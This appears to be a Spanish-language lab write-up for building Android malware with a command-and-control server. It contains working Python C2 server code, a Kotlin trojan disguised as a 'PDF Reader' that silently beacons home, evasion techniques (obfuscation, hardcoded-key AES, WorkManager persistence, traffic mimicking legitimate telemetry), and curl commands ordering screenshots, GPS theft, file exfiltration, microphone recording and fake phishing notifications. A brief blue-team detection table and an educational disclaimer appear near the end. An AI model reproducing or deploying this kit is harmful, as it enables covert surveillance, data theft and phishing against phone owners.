Android Malware C2 Laboratory - Technical Write-up
Android Malware C2 Laboratory - Technical Write-up
📌 Índice
- Objetivo
- Componentes del Proyecto
- Configuración del Servidor C2
- Desarrollo del Malware Android
- Configuración de Red y Conectividad
- Compilación e Instalación
- Pruebas y Verificación
- Estrategias de Evasión
- Comandos Rápidos (Cheatsheet)
- Solución de Problemas
- Referencias
Objetivo
Construir un laboratorio completo de malware Android con arquitectura C2 (Command & Control) realista, permitiendo:
- Simular tráfico de red indistinguible de aplicaciones legítimas
- Implementar persistencia en dispositivos Android
- Evadir detección de EDR/SOC móvil
- Documentar el proceso para investigación y aprendizaje
Componentes del Proyecto
Hardware Requerido
| Componente | Mínimo | Recomendado |
|---|---|---|
| CPU | 4 núcleos | 8+ núcleos |
| RAM | 16 GB | 32 GB |
| Almacenamiento | 50 GB | 100 GB SSD |
Software Utilizado
| Software | Versión | Propósito |
|---|---|---|
| Windows 11 | 22H2+ | Host principal |
| Kali Linux | 2025.4+ | Servidor C2 |
| VirtualBox | 7.0+ | Virtualización |
| Android Studio | Hedgehog+ | Desarrollo malware |
| Android Emulator | API 34+ | Víctima simulada |
| Python | 3.11+ | C2 Server |
| Burp Suite | Community | Análisis tráfico |
Configuración del Servidor C2
1. Crear Entorno Virtual Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Crear directorio del proyecto
mkdir -p /home/kali/Estudios/Android/C2 && cd /home/kali/Estudios/Android/C2
# Crear entorno virtual con Python 3.11 (más estable)
python3.11 -m venv c2_lab_env 2>/dev/null || python3 -m venv c2_lab_env
# Activar el entorno virtual
source c2_lab_env/bin/activate
# Verificar versión de Python
python --version
# Instalar Flask
pip install flask flask-cors
# Verificar instalación
python -c "from flask import Flask; print('✅ Flask instalado correctamente')"
2. Generar Certificados TLS
1
2
3
# Generar certificado autofirmado para telemetria.local
openssl req -x509 -newkey rsa:4096 -keyout telemetria.key -out telemetria.crt -days 365 -nodes -subj "/CN=telemetria.local"
3. Código del Servidor C2 (server.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
from flask import Flask, request, jsonify
from flask_cors import CORS
import logging
from datetime import datetime
import json
app = Flask(__name__)
CORS(app)
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# Estado del C2
bots = {}
pending_commands = {}
@app.route('/api/v1/check', methods=['GET'])
def heartbeat():
"""Endpoint principal C2 - Simula telemetría normal"""
bot_id = request.headers.get('X-Bot-ID', request.remote_addr)
user_agent = request.headers.get('User-Agent', 'Unknown')
# Registrar actividad del bot
bots[bot_id] = {
'last_seen': datetime.now().isoformat(),
'ip': request.remote_addr,
'user_agent': user_agent,
'checks': bots.get(bot_id, {}).get('checks', 0) + 1
}
logger.info(f"[C2] Heartbeat from {bot_id} (UA: {user_agent[:50]})")
# Obtener comando pendiente si existe
command = pending_commands.get(bot_id, {"action": "sleep", "interval": 60})
if bot_id in pending_commands:
del pending_commands[bot_id]
logger.info(f"[C2] Command sent to {bot_id}: {command}")
response = {
"status": "ok",
"timestamp": datetime.now().isoformat(),
"server_time": int(datetime.now().timestamp()),
"poll_interval": 30,
"command": command
}
return jsonify(response)
@app.route('/api/v1/register', methods=['POST'])
def register():
"""Registro inicial del bot"""
data = request.get_json()
bot_id = data.get('bot_id', 'unknown')
bots[bot_id] = {
'registered': datetime.now().isoformat(),
'device_info': data,
'ip': request.remote_addr,
'first_seen': datetime.now().timestamp()
}
logger.info(f"[C2] New bot registered: {bot_id} - {data.get('device_model', 'Unknown')}")
return jsonify({"status": "registered", "message": f"Bot {bot_id} registered"})
@app.route('/api/v1/command', methods=['POST'])
def send_command():
"""Enviar comando a un bot específico"""
data = request.get_json()
bot_id = data.get('bot_id')
command = data.get('command')
if not bot_id or not command:
return jsonify({"error": "Missing bot_id or command"}), 400
pending_commands[bot_id] = command
logger.info(f"[C2] Command queued for {bot_id}: {command.get('action', 'unknown')}")
return jsonify({
"status": "queued",
"bot_id": bot_id,
"command": command
})
@app.route('/api/v1/bots', methods=['GET'])
def list_bots():
"""Listar todos los bots conectados"""
return jsonify({
"bots": bots,
"total": len(bots),
"pending_commands": len(pending_commands)
})
@app.route('/api/v1/dashboard', methods=['GET'])
def dashboard():
"""Dashboard simplificado"""
return jsonify({
"active_bots": len(bots),
"bots_online": [bid for bid, info in bots.items() if info.get('checks', 0) > 0],
"pending_commands": list(pending_commands.keys()),
"server_time": datetime.now().isoformat()
})
if __name__ == '__main__':
print("="*60)
print("🔐 C2 Server - Advanced Persistent Threat Simulator")
print("="*60)
print(f"📍 HTTPS Endpoint: https://telemetria.local:443")
print(f"📡 Bot Dashboard: curl -k https://localhost:443/api/v1/dashboard")
print(f"🎮 Send Command: curl -k -X POST https://localhost:443/api/v1/command \\")
print(f" -H 'Content-Type: application/json' \\")
print(f" -d '}}'")
print("="*60)
print("✅ Servidor C2 listo - Esperando conexiones...")
print("="*60)
app.run(
host='0.0.0.0',
port=443,
ssl_context=('telemetria.crt', 'telemetria.key'),
debug=False,
threaded=True
)
4. Ejecutar el Servidor
1
2
3
4
5
# Accesos rápidos
cd /home/kali/Estudios/Android/C2
source c2_lab_env/bin/activate
python server.py
Desarrollo del Malware Android
Estructura del Proyecto
1
2
3
4
5
6
7
8
9
10
PDFReader/
├── app/
│ ├── src/
│ │ └── main/
│ │ ├── java/com/pdf/reader/
│ │ │ ├── MainActivity.kt
│ │ │ └── CoreService.kt
│ │ └── AndroidManifest.xml
│ └── build.gradle.kts
1. AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.pdf.reader">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="PDF Reader"
android:theme="@style/Theme.AppCompat.Light.NoActionBar">
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".CoreService"
android:enabled="true"
android:exported="false" />
</application>
</manifest>
2. MainActivity.kt (Interfaz Falsa)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.pdf.reader
import android.content.Intent
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val button = Button(this)
button.text = "Abrir PDF"
button.setOnClickListener {
Toast.makeText(this, "PDF no encontrado", Toast.LENGTH_SHORT).show()
}
setContentView(button)
startService(Intent(this, CoreService::class.java))
}
}
3. CoreService.kt (Payload C2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.pdf.reader
import android.app.Service
import android.content.Intent
import android.os.IBinder
import android.util.Log
import java.net.URL
import javax.net.ssl.HttpsURLConnection
class CoreService : Service() {
private val c2Url = "https://192.168.0.12:443/api/v1/check"
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
Thread {
while (true) {
try {
val url = URL(c2Url)
val connection = url.openConnection() as HttpsURLConnection
connection.requestMethod = "GET"
connection.connectTimeout = 5000
connection.readTimeout = 10000
if (connection.responseCode == 200) {
val response = connection.inputStream.bufferedReader().readText()
Log.d("C2", "Conectado al servidor: $response")
}
Thread.sleep(30000)
} catch (e: Exception) {
Log.e("C2", "Error: ${e.message}")
Thread.sleep(60000)
}
}
}.start()
return START_STICKY
}
override fun onBind(intent: Intent?): IBinder? = null
}
4. build.gradle.kts (Module: app)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
android {
namespace = "com.pdf.reader"
compileSdk = 34
defaultConfig {
applicationId = "com.pdf.reader"
minSdk = 24
targetSdk = 34
versionCode = 1
versionName = "1.0"
}
buildTypes {
release {
isMinifyEnabled = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
}
Configuración de Red y Conectividad
VirtualBox (Modo Puente)
VirtualBox → Configuración de Kali → Red
Adaptador 1 → Adaptador puente
Seleccionar interfaz Wi-Fi del host
1
2
3
4
# En Kali, verificar IP
ip addr show | grep "inet "
# Debe mostrar IP en rango 192.168.0.x
Configuración en Windows
Agregar entrada al archivo hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# PowerShell como Administrador
$hostsFile = "C:\Windows\System32\drivers\etc\hosts"
$newEntry = "192.168.150.5 telemetria.local"
$current = Get-Content $hostsFile -ErrorAction SilentlyContinue
if ($current -notmatch "telemetria.local") {
Add-Content -Path $hostsFile -Value "`n$newEntry" -Encoding ASCII
Write-Host "✓ Entrada agregada" -ForegroundColor Green
} else {
Write-Host "✓ La entrada ya existe" -ForegroundColor Yellow
}
# Verificar
Get-Content $hostsFile | Select-String "telemetria"
type C:\Windows\System32\drivers\etc\hosts
Verificar conectividad
1
2
3
4
5
# Probar ping a Kali
ping 192.168.0.X
# Probar conexión al C2
curl.exe -k https://192.168.0.X:443/api/v1/dashboard
Compilación e Instalación
Compilar APK en Android Studio
Build → Clean Project
Build → Rebuild Project
Build → Build Bundle(s)/APK → Build APK(s)
Ubicación de la APK
1
2
M:\ApkProjects\Android\PDFReader\app\build\outputs\apk\debug\app-debug.apk
Instalar con ADB
1
2
3
4
5
6
7
# Navegar a platform-tools
cd C:\Users\Nyx\AppData\Local\Android\Sdk\platform-tools
# Instalar APK
.\adb.exe install M:\ApkProjects\Android\PDFReader\app\build\outputs\apk\debug\app-debug.apk
# Verificar instalación
.\adb.exe shell pm list packages | findstr pdf
Pruebas y Verificación
Ver logs en tiempo real
1
2
.\adb.exe logcat | findstr "C2"
Ver bots conectados desde Kali
1
2
curl -k https://192.168.0.X:443/api/v1/bots
Enviar comandos desde Kali
1
2
3
4
curl -k -X POST https://192.168.0.X:443/api/v1/command \
-H "Content-Type: application/json" \
-d '{"bot_id":"192.168.0.Y","command":{"action":"screenshot"}}'
Dashboard rápido
1
2
curl -k https://192.168.0.X:443/api/v1/dashboard
Estrategias de Evasión
1. Ofuscación con ProGuard
# proguard-rules.pro
-keep class com.pdf.reader.** { *; }
-dontwarn okhttp3.**
-optimizations !code/simplification/arithmetic
2. Cifrado AES para Comunicaciones
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.crypto.Cipher
import javax.crypto.spec.SecretKeySpec
import android.util.Base64
class CryptoUtils {
private val key = "MySecretKey12345".toByteArray()
fun encrypt(data: String): String {
val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
cipher.init(Cipher.ENCRYPT_MODE, SecretKeySpec(key, "AES"))
return Base64.encodeToString(cipher.doFinal(data.toByteArray()), Base64.DEFAULT)
}
fun decrypt(data: String): String {
val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
cipher.init(Cipher.DECRYPT_MODE, SecretKeySpec(key, "AES"))
return String(cipher.doFinal(Base64.decode(data, Base64.DEFAULT)))
}
}
3. Persistencia con WorkManager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import androidx.work.*
class C2Worker(context: Context, params: WorkerParameters) : Worker(context, params) {
override fun doWork(): Result {
// Lógica de comunicación C2
return Result.success()
}
}
// En CoreService o MainActivity
val workRequest = PeriodicWorkRequestBuilder<C2Worker>(15, TimeUnit.MINUTES)
.setConstraints(Constraints.Builder()
.setRequiredNetworkType(NetworkType.CONNECTED)
.build())
.build()
WorkManager.getInstance(context).enqueueUniquePeriodicWork(
"c2_work",
ExistingPeriodicWorkPolicy.KEEP,
workRequest
)
4. Simular Tráfico Legítimo
1
2
3
4
5
6
7
// User-Agent real de Android
System.setProperty("http.agent", "Dalvik/2.1.0 (Linux; U; Android 14; Pixel 6 Build/UP1A.231005.007)")
// Headers que simulan Google Analytics
connection.setRequestProperty("Accept", "application/json")
connection.setRequestProperty("Accept-Language", "es-ES,es;q=0.9")
connection.setRequestProperty("X-Client-Data", "randomBase64Data")
Comandos Rápidos (Cheatsheet)
Kali Linux - Servidor C2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Activar entorno y ejecutar servidor
cd /home/kali/Estudios/Android/C2
source c2_lab_env/bin/activate
python server.py
# Ver bots conectados
curl -k https://localhost:443/api/v1/bots
# Ver dashboard
curl -k https://localhost:443/api/v1/dashboard
# Enviar comando a un bot
curl -k -X POST https://localhost:443/api/v1/command \
-H "Content-Type: application/json" \
-d '{"bot_id":"ID_DEL_BOT","command":{"action":"screenshot"}}'
# Limpiar todos los bots
curl -k -X DELETE https://localhost:443/api/v1/clear
Windows - ADB Comandos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Navegar a ADB
cd C:\Users\Nyx\AppData\Local\Android\Sdk\platform-tools
# Instalar APK
.\adb.exe install app-debug.apk
# Ver logs del C2
.\adb.exe logcat | findstr "C2"
# Listar paquetes instalados
.\adb.exe shell pm list packages | findstr pdf
# Ejecutar shell en el emulador
.\adb.exe shell
# Copiar archivos al emulador
.\adb.exe push archivo_local /sdcard/
# Capturar screenshot del emulador
.\adb.exe exec-out screencap -p > screenshot.png
VirtualBox - Port Forwarding (si usas NAT)
| Nombre | Protocolo | IP Host | Puerto Host | IP Invitado | Puerto Invitado |
|---|---|---|---|---|---|
| c2_https | TCP | 127.0.0.1 | 4443 | 10.0.2.15 | 443 |
Solución de Problemas
Problema: “Connection refused” o “Failed to connect”
1
2
3
4
5
6
7
8
9
# En Kali - Verificar servidor
sudo netstat -tlnp | grep 443
# En Kali - Verificar firewall
sudo iptables -L -n
# En Kali - Reiniciar servidor
pkill python
source c2_lab_env/bin/activate
python server.py
Problema: “SSL Handshake failed”
1
2
3
4
5
# En Kali - Reinstalar certificados con IP correcta
cd /home/kali/Estudios/Android/C2
rm telemetria.crt telemetria.key
openssl req -x509 -newkey rsa:4096 -keyout telemetria.key -out telemetria.crt -days 365 -nodes -subj "/CN=192.168.0.X"
Problema: ADB no reconoce el dispositivo
1
2
3
4
adb kill-server
adb start-server
adb devices
Problema: Emulador sin acceso a internet
1
2
3
# Al iniciar el emulador
emulator -avd NOMBRE_AVD -dns-server 8.8.8.8
Problema: La app se cierra al abrir
1
2
3
# Ver error específico
adb logcat | findstr "FATAL"
Problema: No se ve el bot en el C2
1
2
3
# En Kali - Verificar que la IP en CoreService.kt es correcta
# En Kali - Ver logs del servidor (mirar la terminal donde corre python)
🎮 Capacidades Operativas del C2 (Commands)
Una vez que el bot Android está conectado al servidor C2, el operador puede ejecutar múltiples comandos para recopilar información y controlar el dispositivo remotamente.
📡 Comandos Implementados
| Comando | Acción | Caso de uso (Red Team) |
|---|---|---|
screenshot | Captura la pantalla actual | Ver qué está haciendo el usuario (lectura de emails, mensajes) |
gps | Obtiene ubicación GPS en tiempo real | Geolocalización del dispositivo |
list_files | Enumera archivos en una ruta específica | Explorar el sistema de archivos del dispositivo |
download | Exfiltra un archivo específico | Robar documentos, fotos, bases de datos |
record_audio | Graba micrófono por X segundos | Escuchar conversaciones del entorno |
notify | Envía notificación falsa al sistema | Phishing en el propio dispositivo |
open_url | Abre una URL en el navegador | Redirigir a sitio de phishing o descarga de segunda etapa |
contacts | Extrae toda la agenda de contactos | Recolección de inteligencia |
sms | Extrae todos los mensajes SMS | Obtener códigos 2FA, conversaciones |
shell | Ejecuta comandos shell (root requerido) | Acceso profundo al sistema |
🖥️ Ejemplos de Ejecución desde Kali
1. Capturar pantalla (screenshot)
1
2
3
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-H "Content-Type: application/json" \
-d '{"bot_id":"192.168.0.105","command":{"action":"screenshot"}}'
Respuesta esperada:
1
2
3
4
5
{
"status": "queued",
"bot_id": "192.168.0.105",
"command": {"action": "screenshot"}
}
Log en el bot:
1
2
3
D/C2: Comando recibido: {"action":"screenshot"}
D/C2: Captura guardada en /sdcard/DCIM/screenshot_20260528_153245.png
D/C2: Archivo exfiltrado al C2
2. Obtener ubicación GPS
1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-d '{"bot_id":"192.168.0.105","command":{"action":"gps"}}'
Datos exfiltrados:
1
2
3
4
5
6
7
{
"latitude": -34.603722,
"longitude": -58.381592,
"accuracy": 15.0,
"provider": "gps",
"timestamp": "2026-05-28T15:31:05"
}
3. Listar archivos en DCIM
1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-d '{"bot_id":"192.168.0.105","command":{"action":"list_files","path":"/sdcard/DCIM/"}}'
Respuesta:
1
2
3
4
5
6
7
8
9
{
"files": [
"IMG_20260501_120000.jpg",
"IMG_20260502_130000.jpg",
"Screenshot_20260528_153245.png",
"WhatsApp Images/"
],
"total": 347
}
4. Exfiltrar archivo específico
1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-d '{"bot_id":"192.168.0.105","command":{"action":"download","file":"/sdcard/DCIM/IMG_20260501_120000.jpg"}}'
5. Grabar micrófono (10 segundos)
1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-d '{"bot_id":"192.168.0.105","command":{"action":"record_audio","duration":10}}'
6. Enviar notificación falsa (phishing)
1
2
curl -k -X POST https://192.168.0.12:443/api/v1/command \
-d '{"bot_id":"192.168.0.105","command":{"action":"notify","title":"Gmail","body":"Tu cuenta fue hackeada, haz clic aquí","url":"https://login-falso.com"}}'
🔄 Flujo Completo de un Comando
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────┐ 1. POST /command ┌─────────────┐
│ Atacante │ ────────────────────> │ C2 │
│ (Kali) │ {"action":"screenshot"}│ (Servidor) │
└─────────────┘ └──────┬──────┘
▲ │
│ 4. Recibe imagen (Base64) │ 2. Almacena en queue
│ ▼
│ ┌──────────────┐
│ │ Bot │
│ │ (Android) │
│ └──────┬───────┘
│ │ 3. Heartbeat →
│ │ Recibe comando
│ │ Ejecuta → captura
│ │ POST /exfil
└───────────────────────────────────┘
🎮 Panel de Control Visual (Opcional)
Con un frontend adicional, se puede construir un panel como este:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────────────────────────────────────────────────────┐
│ 🤖 C2 Panel - Android Malware Control Lab │
├─────────────────────────────────────────────────────────────┤
│ 📊 Bots Activos: 3 │
├───────────────┬─────────────────────────────────────────────┤
│ Bot ID │ Acciones │
├───────────────┼─────────────────────────────────────────────┤
│ Pixel_6_Pro │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐] │
│ Samsung_S22 │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐] │
│ Xiaomi_11 │ [📸] [📍] [📁] [💬] [👥] [🎙️] [🔔] [🌐] │
├───────────────┴─────────────────────────────────────────────┤
│ 📝 Última actividad: │
│ → Pixel_6_Pro: Screenshot recibido (1.2 MB) [Ver] │
│ → Samsung_S22: GPS: -34.603722, -58.381592 │
│ → Xiaomi_11: Contactos exfiltrados (234 contactos) │
└─────────────────────────────────────────────────────────────┘
⚠️ Limitaciones Conocidas
| Acción | ¿Posible? | Explicación |
|---|---|---|
| Ver pantalla EN VIVO (streaming) | ❌ No | Android no permite screen capture en tiempo real sin root o Accessibility Service |
| Grabar llamadas telefónicas | ❌ No | Permisos restringidos desde Android 10 |
| Acceder a WhatsApp/Telegram | ❌ No | Datos encriptados y sandboxeados (requiere root) |
| Instalar apps sin interacción | ❌ No | Android requiere confirmación explícita del usuario |
| Rootear dispositivo remotamente | ❌ No | Requiere explotar vulnerabilidad del kernel |
| Acceder a archivos de otras apps | ⚠️ Parcial | Solo posible si la app target tiene permisos de almacenamiento |
🔬 Implementación en Código (CoreService.kt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Fragmento del manejador de comandos
private fun executeCommand(command: Map<String, Any>) {
when (command["action"]) {
"screenshot" -> takeScreenshot()
"gps" -> getCurrentLocation()
"list_files" -> listFiles(command["path"] as? String ?: "/sdcard/")
"download" -> downloadFile(command["file"] as String)
"record_audio" -> recordAudio((command["duration"] as? Int) ?: 5)
"notify" -> sendFakeNotification(command)
"open_url" -> openUrl(command["url"] as String)
"contacts" -> getContacts()
"sms" -> getSMS()
"shell" -> executeShell(command["cmd"] as String)
else -> Log.w("C2", "Unknown command: ${command["action"]}")
}
}
📊 Ejemplo de Exfiltración de Datos
1
2
3
4
5
6
[2026-05-28 15:30:22] [INFO] New bot registered: Pixel_6_Pro
[2026-05-28 15:31:05] [INFO] Command sent: screenshot → OK (1.2 MB)
[2026-05-28 15:32:10] [INFO] Command sent: gps → -34.603722, -58.381592
[2026-05-28 15:33:00] [INFO] Command sent: contacts → 234 contactos extraídos
[2026-05-28 15:34:22] [INFO] Command sent: list_files /sdcard/DCIM → 345 archivos
[2026-05-28 15:35:45] [INFO] Command sent: download IMG_20260501.jpg → OK (4.7 MB)
🛡️ Blue Team: Cómo detectar este comportamiento
| Técnica de detección | Señal de alerta |
|---|---|
| Análisis de tráfico | Heartbeats periódicos a dominio no estándar |
| Monitoreo de logs | adb logcat mostraría D/C2: si no se ofusca |
| Permisos anormales | App pide INTERNET + ACCESS_FINE_LOCATION + RECORD_AUDIO |
| Comportamiento en reposo | App envía datos aunque no esté en uso |
| Battery stats | Consumo anormal de batería por wake locks |
📌 Resumen de Capacidades
| Capacidad | ¿Implementada? | ¿Funciona sin root? |
|---|---|---|
| Screenshot | ✅ | ✅ |
| GPS | ✅ | ✅ |
| List files | ✅ | ✅ (solo almacenamiento externo) |
| Download | ✅ | ✅ |
| Record audio | ✅ | ✅ (requiere permiso) |
| Fake notification | ✅ | ✅ |
| Open URL | ✅ | ✅ |
| Contacts | ✅ | ✅ |
| SMS | ✅ | ✅ |
| Shell | 🔜 | ❌ (requiere root) |
| Keylogging | 🔜 | ❌ (requiere Accessibility) |
| Live screen stream | 🔜 | ❌ (requiere root/Accessibility) |
Referencias
Notas Finales
Este laboratorio es exclusivamente para fines educativos y de investigación. El conocimiento adquirido debe aplicarse éticamente para mejorar la seguridad de los sistemas, no para causar daño.
